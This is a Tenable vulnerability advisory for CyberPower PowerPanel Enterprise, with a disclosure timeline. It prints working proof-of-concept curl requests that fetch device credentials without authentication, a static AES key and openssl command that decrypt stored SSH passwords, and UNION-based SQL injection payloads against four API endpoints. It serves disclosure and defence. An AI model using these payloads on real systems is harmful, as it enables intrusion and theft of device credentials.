Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

CyberPower PowerPanel Enterprise Power Device Network Utility Multiple Vulnerabilities

Critical

Synopsis

CVE-2024-32735 - Missing Authentication for Critical Function (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

An unauthenticated remote attacker can access the PDNU REST APIs. For example, the attacker can fetch sensitive information (i.e., login credentials) for devices managed by PDNU:

curl '<http://<target-host>>:8085/api/v1/devices'
{"status":"success","results":[{"ip":"192.168.1.123","mac":"11:22:33:44:55:66","fwversion":null,"netmask":"255.255.255.0","gateway":" \"192.168.1.1\"","usedhcp":false,"location":null,"name":null,"uptime":null,"code":null,"contact":null,"modifiedtime":null,"account":"admin","passwd":"FDA64FBAD708BA5A3CA9995A1153F4C6","iv":"90CC43284178CF848AA3CFE8C98B337C","canconn":true,"action":null,"ndtype":2}]}

The encrypted password used to login (i.e., SSH) to a device can be decrypted with a static key (i.e., 7ea3312f320c78447ff6fd4c51f77a8abb764b20e31aedccfe6b1854f5aa505e):

echo -n 'FDA64FBAD708BA5A3CA9995A1153F4C6' | xxd -p -r  | openssl aes-256-cbc -d -K 7ea3312f320c78447ff6fd4c51f77a8abb764b20e31aedccfe6b1854f5aa505e -iv 90CC43284178CF848AA3CFE8C98B337C
Password123

Note that we do not a CyberPower device to be added to PDNU.  We simulate "adding a device manually" with:

a. Add a row to the devicesecret table in mcu.db

curl -i -X PUT -H 'Content-Type:application/json' -d '{"ip":"192.168.1.123","mac":"11:22:33:44:55:66","cmd":"submit_after_dry_run","acc":"admin","passwd":"Password123","connectionstatus":true}' "<http://<target-host>>:8085/api/v1/devices"

b. Using the PDNU web UI, import a file with the following content, this would add a row to the rmcdevice table

"Deivce Type","MAC Address","Version","Account","IP Address","DHCP","Time","Result","Up Time","Name","Location","Subnet Mask","Gateway"
"2","11:22:33:44:55:66","2.2.7.0","","192.168.1.123","false", "1545027013","101","1348247500","PDU30SWT17ATNET","Server Room","255.255.255.0", "192.168.1.1"

CVE-2024-32736 - SQLi in mcu.jar!com.cyberpower.mcu.core.persist.MCUDBHelper.query_utask_verbose (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

SQLi via user-supplied parameter contract_uuid:

 public UpdateVerboseStatusResp query_utask_verbose(String contract_uuid) throws DataAccessException {
   String q_str = String.format("select uaction, ip, mac, ts, reasoningcode from ucontract join utask on ucontract.ucid = utask.contract join utaskresult on utask.utid = utaskresult.task where ucontract.ucid = '%s';", new Object[] { contract_uuid });
   return (UpdateVerboseStatusResp)this.jdbcTemplate.query(q_str, (ResultSetExtractor)new Object(this));
 }

PoC:

# sqlite_version() = 3.21.0
curl "<http://<target-host>>:8085/api/v1/confup?mode=&uid=1'%20UNION%20select%201,2,3,4,sqlite_version();--"
{"status":"finished","results":[{"ip":"2","mac":"3","action":"1","ts":"4","code":"3.21.0"}]}


CVE-2024-32737 - SQLi in mcu.jar!com.cyberpower.mcu.core.persist.MCUDBHelper.query_contract_result (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

SQLi via user-supplied parameter contract_uuid:

 public synchronized UpdateLeanStatusResp query_contract_result(String contract_uuid) throws DataAccessException {
   String q_str = String.format("select numofupgradedevice, numsuccess, numfailed, modifiedtime from ucontractresult where ucontractresult.contract = '%s';", new Object[] { contract_uuid });
   return (UpdateLeanStatusResp)this.jdbcTemplate.query(q_str, (ResultSetExtractor)new Object(this));
 }

PoC:

curl "<http://<target-host>>:8085/api/v1/confup?mode=lean&uid=1'%20UNION%20select%201,2,3,sqlite_version();--"
{"status":"finished","result":{"processing":-4,"success":2,"failed":3,"modifiedtime":"3.21.0"}}


CVE-2024-32738 - SQLi in mcu.jar!com.cyberpower.mcu.core.persist.MCUDBHelper.query_ptask_lean (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

SQLi via user-supplied parameter contract_uuid:

 public PdncConfigLeanResp query_ptask_lean(String contract_uuid) throws DataAccessException {
   String q_str = String.format("select numofdevice, numsuccess, numfailed, modifiedtime from pcontractresult where contract = '%s';", new Object[] { contract_uuid });
   return (PdncConfigLeanResp)this.jdbcTemplate.query(q_str, (ResultSetExtractor)new Object(this));
 }

PoC:

curl "<http://<target-host>>:8085/api/v1/ndconfig?mode=lean&uid=1'%20UNION%20select%201,2,3,sqlite_version();--"
{"status":"finished","results":[{"processing":-4,"success":2,"failed":3,"modifiedtime":"3.21.0"}]}


CVE-2024-32739 - SQLi in mcu.jar!com.cyberpower.mcu.core.persist.MCUDBHelper.query_ptask_verbose (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

SQLi via user-supplied parameter contract_uuid:

 public PdncConfigVerboseResp query_ptask_verbose(String contract_uuid) throws DataAccessException {
   String q_str = String.format("select paction, ip, ts, reasoningcode from pcontract join ptask on pcontract.pcid = ptask.contract join ptaskresult on ptask.ptid = ptaskresult.task where pcontract.pcid = '%s';", new Object[] { contract_uuid });
   return (PdncConfigVerboseResp)this.jdbcTemplate.query(q_str, (ResultSetExtractor)new Object(this));
 }

PoC:

curl "<http://<target-host>>:8085/api/v1/ndconfig?mode=&uid=1'%20UNION%20select%201,2,3,sqlite_version();--"
{"status":"finished","results":[{"code":"3.21.0","action":"1","ip":"2","ts":"3"}]}

 

Solution

Apply the latest vendor supplied updates.

Disclosure Timeline

February 2, 2024 - Tenable attempts to establish a security contact with the vendor.
February 2, 2024 - Vendor provides contact information.
February 7, 2024 - Tenable discloses issues to vendor. Vendor acknowledges.
February 21, 2024 - Tenable requests status update.
February 22, 2024 - Vendor provides status update.
March 1, 2024 - Vendor provides status update.
March 4, 2024 - Tenable acknowledges.
March 18, 2024 - Vendor states test version should be available by early April.
March 28, 2024 - Vendor states test version is targeted for week of April 15. Tenable acknowledges.
April 15, 2024 - Vendor provides Tenable with preview release.
April 16, 2024 - Tenable provides feedback of preview release to vendor.
April 17, 2024 - Vendor requests clarification. Tenable provides clarification and reserves CVEs.
April 17, 2024 - Tenable requests clarification from vendor regarding patch functionality.
April 19, 2024 - Vendor requests clarification on disclosure date. Tenable provides clarification.
April 22, 2024 - Vendor requests disclosure deadline extension. Tenable requests further details.
April 23, 2024 - Vendor provides requested information. Tenable extends deadline to May 13, 2024.
April 24, 2024 - Vendor acknowledges.
May 9, 2024 - Vendor releases patch ahead of coordinated disclosure date.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2024-14
Affected Products:
CyberPower PowerPanel Enterprise prior to v2.8.3
Risk Factor:
Critical

Advisory Timeline

May 9, 2024 - Initial release.